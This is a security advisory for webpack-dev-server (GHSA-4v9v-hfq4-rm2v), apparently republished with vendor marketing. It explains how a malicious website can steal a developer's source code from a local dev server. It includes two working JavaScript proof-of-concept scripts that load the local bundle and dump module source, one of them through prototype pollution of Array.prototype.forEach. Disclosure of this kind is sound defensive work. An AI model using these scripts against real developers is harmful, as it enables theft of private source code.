GHSA-4v9v-hfq4-rm2v
MEDIUMwebpack-dev-server users' source code may be stolen when they access a malicious web site
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
webpack-dev-servernpmDescription
Summary
Source code may be stolen when you access a malicious web site.
Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/ - You can see the source code output in the document and the devtools console.
The script in the POC site is:
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
This script uses the function generated by renderRequire.
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
<details> <summary>Old content</summary>Summary
Source code may be stolen when you use output.iife: false and access a malicious web site.
Details
When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/ - Open the devtools console.
- You can see the content of
src/index.jsand other scripts loaded.
The script in the POC site is:
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
Impact
This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | webpack-dev-server | all versions | 5.2.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for webpack-dev-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update webpack-dev-server to 5.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4v9v-hfq4-rm2v is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4v9v-hfq4-rm2v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4v9v-hfq4-rm2v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4v9v-hfq4-rm2v in your dependencies?
O3 detects GHSA-4v9v-hfq4-rm2v across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.